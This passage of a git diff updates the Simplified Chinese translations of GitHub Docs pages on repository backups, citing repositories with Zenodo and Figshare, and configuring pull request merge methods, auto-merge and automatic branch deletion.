ifversion ghes or ghae %}要备份的所有内容的本地版本,可以创建一个 zip 存档并{% else %}下载存档,可以{% endif %}将它复制到外部硬盘驱动器和/或将其上传到基于云的备份或存储服务,例如 [Azure Blob 存储](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-overview/)、[Google Drive](https://www.google.com/drive/) 或 [Dropbox](https://www.dropbox.com/)。 {% ifversion fpt or ghec %} -## Third-party backup tools +## 第三方备份工具 -A number of self-service tools exist that automate backups of repositories. Unlike archival projects, which archive _all_ public repositories on {% data variables.product.product_name %} that have not opted out and make the data accessible to anyone, backup tools will download data from _specific_ repositories and organize it within a new branch or directory. For more information about archival projects, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." For more information about self-service backup tools, see the [Backup Utilities category on {% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=backup-utilities). +有许多自助服务工具可自动备份仓库。 存档项目将所有公共存储库存档在未选择退出的 {% data variables.product.product_name %} 上,并让任何人都可以访问数据,而备份工具则不同,它将从特定存储库下载数据并组织在新分支或目录中 。 有关存档项目的详细信息,请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上存档内容和数据](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)”。 有关自助备份工具的详细信息,请参阅 [{% data variables.product.prodname_marketplace %} 上的备份实用程序类别](https://github.com/marketplace?category=backup-utilities)。 {% endif %} diff --git a/translations/zh-CN/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md b/translations/zh-CN/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md index 27fa92e78b..49b80b0fc0 100644 --- a/translations/zh-CN/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md +++ b/translations/zh-CN/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md @@ -1,6 +1,6 @@ --- -title: Referencing and citing content -intro: You can use third-party tools to cite and reference content on GitHub. +title: 参考和引用内容 +intro: 您可以使用第三方工具参考和引用 GitHub 上的内容。 redirect_from: - /articles/referencing-and-citing-content - /github/creating-cloning-and-archiving-repositories/referencing-and-citing-content @@ -11,29 +11,35 @@ versions: topics: - Repositories shortTitle: Reference & cite content +ms.openlocfilehash: e0bb3dabe5e9ebc8a4dff80797087c8adadfb710 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145129426' --- -## Issuing a persistent identifier for your repository with Zenodo +## 使用 Zenodo 发出仓库的持久标识符 -To make your repositories easier to reference in academic literature, you can create persistent identifiers, also known as Digital Object Identifiers (DOIs). You can use the data archiving tool [Zenodo](https://zenodo.org/about) to archive a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} and issue a DOI for the archive. +为了使您的仓库在学术文献中更易于参考,您可以创建持久标识符,也称为数字对象标识符 (DOI)。 可以使用数据存档工具 [Zenodo](https://zenodo.org/about) 对 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的存储库进行存档,并为存档发出 DOI。 {% tip %} -**Tips:** -- Zenodo can only access public repositories, so make sure the repository you want to archive is [public](/articles/making-a-private-repository-public). -- If you want to archive a repository that belongs to an organization, the organization owner may need to [approve access](/articles/approving-oauth-apps-for-your-organization) for the Zenodo application. -- Make sure to include a [license](/articles/open-source-licensing) in your repository so readers know how they can reuse your work. +**提示:** +- Zenodo 只能访问公共存储库,因此请确保要存档的存储库是[公共](/articles/making-a-private-repository-public)的。 +- 如果要存档属于组织的存储库,组织所有者可能需要对 Zenodo 应用程序[批准访问权限](/articles/approving-oauth-apps-for-your-organization)。 +- 请确保存储库中包含[许可证](/articles/open-source-licensing),以便读者了解如何重复使用你的工作。 {% endtip %} -1. Navigate to [Zenodo](http://zenodo.org/). -2. In the upper-left corner of the screen, click **Log in**. ![Zenodo log in button](/assets/images/help/repository/zenodo_login.png) -3. Click **Log in with GitHub**. ![Log into Zenodo with GitHub](/assets/images/help/repository/zenodo_login_with_github.png) -4. Review the information about access permissions, then click **Authorize application**. ![Authorize Zenodo](/assets/images/help/repository/zenodo_authorize.png) -5. Navigate to the [Zenodo GitHub page](https://zenodo.org/account/settings/github/). ![Zenodo GitHub page](/assets/images/help/repository/zenodo_github_page.png) -6. To the right of the name of the repository you want to archive, toggle the button from **Off** to **On** to enable it for archiving. ![Enable Zenodo archiving on repository](/assets/images/help/repository/zenodo_toggle_on.png) +1. 导航到 [Zenodo](http://zenodo.org/)。 +2. 在屏幕左下角单击“登录”。 ![Zenodo 登录按钮](/assets/images/help/repository/zenodo_login.png) +3. 单击“使用 GitHub 登录”。 ![使用 GitHub 登录 Zenodo](/assets/images/help/repository/zenodo_login_with_github.png) +4. 审阅有关访问权限的信息,然后单击“授权应用程序”。 ![授权 Zenodo](/assets/images/help/repository/zenodo_authorize.png) +5. 导航到 [Zenodo GitHub 页面](https://zenodo.org/account/settings/github/)。 ![Zenodo GitHub 页面](/assets/images/help/repository/zenodo_github_page.png) +6. 在要存档的存储库的名称右侧,将按钮从“关”切换为“开”,使它能够进行存档。 ![在存储库上启用 Zenodo 存档](/assets/images/help/repository/zenodo_toggle_on.png) -Zenodo archives your repository and issues a new DOI each time you create a new {% data variables.product.product_name %} [release](/articles/about-releases/). Follow the steps at "[Creating releases](/articles/creating-releases/)" to create a new one. +Zenodo 会在你每次创建新 {% data variables.product.product_name %} [版本](/articles/about-releases/)时存档存储库和发出新的 DOI。 按照“[创建版本](/articles/creating-releases/)”中的步骤创建新的版本。 -## Publicizing and citing research material with Figshare +## 使用 Figshare 宣传和引用研究资料 -Academics can use the data management service [Figshare](http://figshare.com) to publicize and cite research material. For more information, see [Figshare's support site](https://knowledge.figshare.com/articles/item/how-to-connect-figshare-with-your-github-account). +学者可以使用数据管理服务 [Figshare](http://figshare.com) 来宣传和引用研究材料。 有关详细信息,请参阅“[Figshare 的支持站点](https://knowledge.figshare.com/articles/item/how-to-connect-figshare-with-your-github-account)”。 diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md index cbbb88a505..39d76ce51e 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md @@ -1,6 +1,6 @@ --- -title: About merge methods on GitHub -intro: 'You can allow contributors with push access to your repository to merge their pull requests on {% data variables.location.product_location %} with different merge options or enforce a specific merge method for all of your repository''s pull requests.' +title: 关于 GitHub 上的合并方法 +intro: '您可以允许能够推送到仓库的贡献者使用不同的合并选项在 {% data variables.product.product_location %} 上合并其推送请求,或者对所有仓库的拉取请求实施特定的合并方法。' redirect_from: - /articles/about-merge-methods-on-github - /github/administering-a-repository/about-merge-methods-on-github @@ -13,38 +13,42 @@ versions: topics: - Repositories shortTitle: About merge methods +ms.openlocfilehash: 97e8b7159ebadf1fe02ae56f707728c2bc8c439d +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882439' --- -{% data reusables.pull_requests.configure_pull_request_merges_intro %} You can enforce one type of merge method, such as commit squashing or rebasing, by only enabling the desired method for your repository. +{% data reusables.pull_requests.configure_pull_request_merges_intro %} 您可以只对仓库启用所需的方法,以实施一种合并方法,如提交压缩或变基。 -{% ifversion fpt or ghec %} -{% note %} +{% ifversion fpt or ghec %} {% note %} -**Note:** When using the merge queue, you no longer get to choose the merge method, as this is controlled by the queue. {% data reusables.pull_requests.merge-queue-references %} +注意:使用合并队列时,你将无法再选择合并方法,因为这由队列控制。 {% data reusables.pull_requests.merge-queue-references %} -{% endnote %} -{% endif %} +{% endnote %} {% endif %} {% data reusables.pull_requests.default_merge_option %} -The default merge method creates a merge commit. You can prevent anyone from pushing merge commits to a protected branch by enforcing a linear commit history. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-linear-history)." +默认合并方法创建合并提交。 通过强制实施线性提交历史记录,可以防止任何人将合并提交推送到受保护分支。 有关详细信息,请参阅“[关于受保护的分支](/github/administering-a-repository/about-protected-branches#require-linear-history)”。 -## Squashing your merge commits +## 压缩合并提交 {% data reusables.pull_requests.squash_and_merge_summary %} -Before enabling squashing commits, consider these disadvantages: -- You lose information about when specific changes were originally made and who authored the squashed commits. -- If you continue working on the head branch of a pull request after squashing and merging, and then create a new pull request between the same branches, commits that you previously squashed and merged will be listed in the new pull request. You may also have conflicts that you have to repeatedly resolve in each successive pull request. For more information, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#squashing-and-merging-a-long-running-branch)." -- Some Git commands that use the "SHA" or "hash" ID may be harder to use since the SHA ID for the original commits is lost. For example, using [`git rerere`](https://git-scm.com/docs/git-rerere) may not be as effective. +在启用压缩提交之前,请考虑以下缺点: +- 您会丢失关于最初何时执行了特定更改以及是谁进行了压缩提交的信息。 +- 如果在压缩与合并后继续操作拉取请求的头部分支,然后在相同分支之间创建新的拉取请求,您先前被压缩与合并的提交将列于新的拉取请求中。 可能还有必须在每个连续的拉取请求中反复解决的冲突。 有关详细信息,请参阅“[关于拉取请求合并](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#squashing-and-merging-a-long-running-branch)”。 +- 有些使用 "SHA" 或“哈希”ID 的 Git 命令可能更难使用,因为原始提交的 SHA ID 已经丢失。 例如,使用 [`git rerere`](https://git-scm.com/docs/git-rerere) 可能不那么有效。 -For more information, see "[Configuring commit squashing for pull requests](/articles/configuring-commit-squashing-for-pull-requests)." +有关详细信息,请参阅“[为拉取请求配置提交压缩](/articles/configuring-commit-squashing-for-pull-requests)”。 -## Rebasing and merging your commits +## 变基和合并提交 {% data reusables.pull_requests.rebase_and_merge_summary %} -Before enabling commit rebasing, consider these disadvantages: -- Repository contributors may have to rebase on the command line, resolve any conflicts, and force push their changes to the pull request's topic branch (or remote head branch) before they can use the **rebase and merge** option on {% data variables.location.product_location %}. Force pushing must be done carefully so contributors don't overwrite work that others have based their work on. To learn more about when the **Rebase and merge** option is disabled on {% data variables.location.product_location %} and the workflow to re-enable it, see "[About pull request merges](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits)." +在启用提交变基之前,请考虑以下缺点: +- 存储库参与者可能必须在命令行上变基、解决所有冲突,并将其更改推送到拉取请求的主题分支(或删除头分支),然后才可在 {% data variables.product.product_location %} 上使用“变基和合并”选项。 强制推送必须谨慎执行,以免贡献者覆盖别人在其工作基础上所做的工作。 若要详细了解何时在 {% data variables.product.product_location %} 上禁用“变基和合并”选项,并了解用于重新启用它的工作流,请参阅“[关于拉取请求合并](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits)”。 - {% indented_data_reference reusables.pull_requests.rebase_and_merge_verification spaces=3 %} -For more information, see "[Configuring commit rebasing for pull requests](/articles/configuring-commit-rebasing-for-pull-requests)." +有关详细信息,请参阅“[为拉取请求配置提交变基](/articles/configuring-commit-rebasing-for-pull-requests)”。 diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md index 610176d045..22f277d9bd 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md @@ -1,6 +1,6 @@ --- -title: Configuring commit merging for pull requests -intro: 'You can enforce, allow, or disable merging with a merge commit for all pull request merges on {% data variables.location.product_location %} in your repository.' +title: 为拉取请求配置提交合并 +intro: '对于存储库中 {% data variables.product.product_location %} 上的所有拉取请求合并,你可以使用合并提交来实施、允许或禁用合并。' versions: fpt: '*' ghes: '*' @@ -9,24 +9,23 @@ versions: topics: - Repositories shortTitle: Configure commit merging +ms.openlocfilehash: 322f74168935175a75f3a8f19cc4faca2cde174b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147580726' --- {% data reusables.pull_requests.configure_pull_request_merges_intro %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select **Allow merge commits**. This allows contributors to merge a pull request with a full history of commits.{% ifversion default-merge-squash-commit-message %} - ![Screenshot of Pull Request settings with allow merge commits checkbox emphasized](/assets/images/help/repository/allow-merge-commits.png){% endif %}{% ifversion ghes = 3.6 %} - ![Screenshot of Pull Request settings with allow merge commits checkbox emphasized](/assets/images/help/repository/allow-merge-commits-no-dropdown.png){% endif %} -{% ifversion ghes < 3.6 %} - ![allow_standard_merge_commits](/assets/images/help/repository/pr-merge-full-commits.png){% endif %} -{% ifversion default-merge-squash-commit-message %} -1. Optionally, under **Allow merge commits**, use the dropdown to choose the format of the commit message presented to contributors when merging. The default message includes the pull request number and title. For example, `Merge pull request #123 from patch-1`. You can also choose to use just the pull request title, or the pull request title and description. -![Screenshot of emphasized default commit message dropdown](/assets/images/help/repository/default-commit-message-dropdown.png) -{% endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +1. 在{% ifversion fpt or ghec or ghes > 3.5 or ghae-issue-6069 %}“拉取请求”{% else %}“合并按钮”{% endif %}下,选择“允许合并提交”。 这允许参与者将拉取请求与提交的完整历史记录合并。{% ifversion default-merge-squash-commit-message %}![“拉取请求”设置的屏幕截图,其中突出显示了“允许合并提交”复选框](/assets/images/help/repository/allow-merge-commits.png){% endif %}{% ifversion ghes = 3.6 %}![“拉取请求”设置的屏幕截图,其中突出显示了“允许合并提交”复选框](/assets/images/help/repository/allow-merge-commits-no-dropdown.png){% endif %} {% ifversion ghes < 3.6 %} ![allow_standard_merge_commits](/assets/images/help/repository/pr-merge-full-commits.png){% endif %} {% ifversion default-merge-squash-commit-message %} +1. (可选)在“允许合并提交”下,使用下拉列表选择合并时向参与者显示的提交消息的格式。 默认消息包括拉取请求编号和标题。 例如,`Merge pull request #123 from patch-1`。 还可以选择仅使用拉取请求标题或拉取请求标题和说明。 +![突出显示默认提交消息下拉列表的屏幕截图](/assets/images/help/repository/default-commit-message-dropdown.png) {% endif %} -If you select more than one merge method, collaborators can choose which type of merge commit to use when they merge a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %} +如果选择多个合并方法,协作者可以选择合并拉取请求时要使用的合并提交类型。 {% data reusables.repositories.squash-and-rebase-linear-commit-history %} -## Further reading +## 延伸阅读 -- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)" -- "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" +- [关于拉取请求合并](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) +- [合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md index c4652106f1..8f1d716103 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md @@ -1,6 +1,6 @@ --- -title: Configuring commit rebasing for pull requests -intro: 'You can enforce, allow, or disable commit rebasing for all pull request merges on {% data variables.location.product_location %} in your repository.' +title: 为拉取请求配置提交变基 +intro: '对于仓库中 {% data variables.product.product_location %} 上的所有拉取请求合并,您可以实施、允许或禁用提交变基。' redirect_from: - /articles/configuring-commit-rebasing-for-pull-requests - /github/administering-a-repository/configuring-commit-rebasing-for-pull-requests @@ -13,16 +13,17 @@ versions: topics: - Repositories shortTitle: Configure commit rebasing +ms.openlocfilehash: e2614349b5baab9be33d1fe6d80a99a78811d8df +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147580525' --- {% data reusables.pull_requests.configure_pull_request_merges_intro %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -3. Under {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select **Allow rebase merging**. This allows contributors to merge a pull request by rebasing their individual commits onto the base branch. -{% ifversion default-merge-squash-commit-message %} - ![Screenshot of Pull Request settings with allow rebase merging checkbox emphasized](/assets/images/help/repository/allow-rebase-merging.png){% endif %}{% ifversion ghes = 3.6 %} - ![Screenshot of Pull Request settings with allow rebase merging checkbox emphasized](/assets/images/help/repository/allow-rebase-merging-no-dropdown.png){% endif %} - {% ifversion ghes < 3.6 %} - ![Pull request rebased commits](/assets/images/help/repository/pr-merge-rebase.png){% endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. 在{% ifversion fpt or ghec or ghes > 3.5 or ghae-issue-6069 %}“拉取请求”{% else %}“合并按钮”{% endif %}下,选择“允许变基合并”。 这将允许贡献者通过将其个人提交变基到基本分支来合并拉取请求。 +{% ifversion default-merge-squash-commit-message %}![“拉取请求”设置的屏幕截图,其中突出显示了“允许变基合并”复选框](/assets/images/help/repository/allow-rebase-merging.png){% endif %}{% ifversion ghes = 3.6 %}![“拉取请求”设置的屏幕截图,其中突出显示了“允许变基合并”复选框](/assets/images/help/repository/allow-rebase-merging-no-dropdown.png){% endif %} {% ifversion ghes < 3.6 %} ![拉取请求变基提交](/assets/images/help/repository/pr-merge-rebase.png){% endif %} -If you also select another merge method, collaborators will be able to choose the type of merge commit when merging a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %} +如果您还选择了另一种合并方法,则贡献者在合并拉取请求时能够选择合并提交的类型。 {% data reusables.repositories.squash-and-rebase-linear-commit-history %} diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md index 7814e66262..4accb793fd 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md @@ -1,6 +1,6 @@ --- -title: Configuring commit squashing for pull requests -intro: 'You can enforce, allow, or disable commit squashing for all pull request merges on {% data variables.location.product_location %} in your repository.' +title: 为拉取请求配置提交压缩 +intro: '对于仓库中 {% data variables.product.product_location %} 上的所有拉取请求合并,您可以实施、允许或禁用提交压缩。' redirect_from: - /articles/configuring-commit-squashing-for-pull-requests - /github/administering-a-repository/configuring-commit-squashing-for-pull-requests @@ -13,26 +13,25 @@ versions: topics: - Repositories shortTitle: Configure commit squashing +ms.openlocfilehash: 8d53a558163b6a847fa4fb509399b1e7b7c6c05c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147580709' --- {% data reusables.pull_requests.configure_pull_request_merges_intro %} {% data reusables.pull_requests.default-commit-message-squash-merge %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select **Allow squash merging**. This allows contributors to merge a pull request by squashing all commits into a single commit. The default commit message presented to contributors when merging is the commit title and message if the pull request contains only 1 commit, or the pull request title and list of commits if the pull request contains 2 or more commits. {% ifversion ghes = 3.6 %} To always use the title of the pull request regardless of the number of commits in the pull request select **Default to PR title for squash merge commits**.{% endif %}{% ifversion default-merge-squash-commit-message %} - ![Pull request squashed commits](/assets/images/help/repository/allow-squash-merging.png){% endif %}{% ifversion ghes = 3.6 %} - ![Screenshot of Pull Request settings with allow merge commits checkbox emphasized](/assets/images/help/repository/allow-squash-merging-no-dropdown.png){% endif %} -{% ifversion ghes < 3.6 %} - ![Pull request squashed commits](/assets/images/enterprise/3.5/repository/pr-merge-squash.png){% endif %} -{% ifversion default-merge-squash-commit-message %} -1. Optionally, under **Allow squash merging**, use the dropdown to choose the format of the default squash commit message presented to contributors when merging. The default message uses the commit title and message if the pull request contains only 1 commit, or the pull request title and list of commits if the pull request contains 2 or more commits. You can also choose to use just the pull request title, the pull request title and commit details, or the pull request title and description. -![Screenshot of emphasized default squash message dropdown](/assets/images/help/repository/default-squash-message-dropdown.png) -{% endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +1. 在{% ifversion fpt or ghec or ghes > 3.5 or ghae-issue-6069 %}“拉取请求”{% else %}“合并按钮”{% endif %}下,选择“允许压缩合并”。 这将允许贡献者通过将所有提交压缩到单个提交中来合并拉取请求。 合并时向参与者显示的默认提交消息是提交标题和消息(如果拉取请求仅包含 1 个提交),或拉取请求标题和提交列表(如果拉取请求包含 2 个或更多提交)。 {% ifversion ghes = 3.6 %} 若要始终使用拉取请求的标题,而不考虑拉取请求中的提交数,请选择“默认为压缩合并提交的拉取请求标题”。{% endif %}{% ifversion default-merge-squash-commit-message %} ![拉取请求压缩的提交](/assets/images/help/repository/allow-squash-merging.png){% endif %}{% ifversion ghes = 3.6 %} ![拉取请求设置的屏幕截图,其中突出显示了“允许合并提交”复选框](/assets/images/help/repository/allow-squash-merging-no-dropdown.png){% endif %} {% ifversion ghes < 3.6 %} ![拉取请求压缩的提交](/assets/images/enterprise/3.5/repository/pr-merge-squash.png){% endif %} {% ifversion default-merge-squash-commit-message %} +1. (可选)在“允许压缩合并”下,使用下拉列表选择合并时向参与者显示的默认压缩提交消息的格式。 默认消息使用提交标题和消息(如果拉取请求仅包含 1 个提交),或拉取请求标题和提交列表(如果拉取请求包含 2 个或更多提交)。 还可以选择仅使用拉取请求标题、拉取请求标题和提交详细信息,或拉取请求标题和说明。 +![突出显示默认压缩消息下拉列表的屏幕截图](/assets/images/help/repository/default-squash-message-dropdown.png) {% endif %} -If you select more than one merge method, collaborators can choose which type of merge commit to use when they merge a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %} +如果选择多个合并方法,协作者可以选择合并拉取请求时要使用的合并提交类型。 {% data reusables.repositories.squash-and-rebase-linear-commit-history %} -## Further reading +## 延伸阅读 -- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)" -- "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" +- [关于拉取请求合并](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) +- [合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md index bf762e72cc..d296f306cc 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md @@ -1,6 +1,6 @@ --- -title: Configuring pull request merges -intro: 'You can configure pull request merges on {% data variables.location.product_location %} to match your workflow and preferences for managing Git history.' +title: 配置拉取请求合并 +intro: '您可以在 {% data variables.product.product_location %} 上配置拉取请求合并,以匹配您的工作流程和用于管理 Git 历史记录的首选项。' redirect_from: - /articles/configuring-pull-request-merges - /github/administering-a-repository/configuring-pull-request-merges @@ -21,5 +21,11 @@ children: - /managing-auto-merge-for-pull-requests-in-your-repository - /managing-the-automatic-deletion-of-branches shortTitle: Configure PR merges +ms.openlocfilehash: 625392c72ae470fffea4f92288aa7c3124bc18ab +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147580605' --- diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md index 73f543e7e9..db04a2e0fd 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md @@ -1,6 +1,6 @@ --- -title: Managing auto-merge for pull requests in your repository -intro: You can allow or disallow auto-merge for pull requests in your repository. +title: 管理仓库中拉取请求的自动合并 +intro: 您可以允许或禁止仓库中拉取请求的自动合并。 product: '{% data reusables.gated-features.auto-merge %}' versions: fpt: '*' @@ -14,16 +14,21 @@ redirect_from: - /github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository - /github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository shortTitle: Manage auto merge +ms.openlocfilehash: 4d0f0d465ea3c8551dc909d56620a06ee9864c1c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883439' --- -## About auto-merge +## 关于自动合并 -If you allow auto-merge for pull requests in your repository, people with write permissions can configure individual pull requests in the repository to merge automatically when all merge requirements are met. If someone who does not have write permissions pushes changes to a pull request that has auto-merge enabled, auto-merge will be disabled for that pull request. For more information, see "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." +如果您允许自动合并仓库中的拉取请求,则具有写入权限的用户可以配置仓库中的单个拉取请求在满足所有合并要求时自动合并。 如果没有写入权限的人员将更改推送到已启用自动合并的拉取请求,将对该拉取请求禁用自动合并。 有关详细信息,请参阅“[自动合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)”。 -## Managing auto-merge +## 管理自动合并 {% data reusables.pull_requests.auto-merge-requires-branch-protection %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select or deselect **Allow auto-merge**. - ![Checkbox to allow or disallow auto-merge](/assets/images/help/pull_requests/allow-auto-merge-checkbox.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +1. 在{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6069 %}“拉取请求”{% else %}“合并按钮”{% endif %}下,选择或取消选择“允许自动合并”。 + ![允许或禁止自动合并的复选框](/assets/images/help/pull_requests/allow-auto-merge-checkbox.png) diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md index 75a9ffa039..544089c0bd 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md @@ -1,6 +1,6 @@ --- -title: Managing the automatic deletion of branches -intro: You can have head branches automatically deleted after pull requests are merged in your repository. +title: 管理分支的自动删除 +intro: 您可让头部分支在仓库中的拉取请求合并后自动删除。 redirect_from: - /articles/managing-the-automatic-deletion-of-branches - /github/administering-a-repository/managing-the-automatic-deletion-of-branches @@ -13,14 +13,19 @@ versions: topics: - Repositories shortTitle: Automatic branch deletion +ms.openlocfilehash: feaeb7c2178beab4dc23a310df6924c6e1c52e0f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: 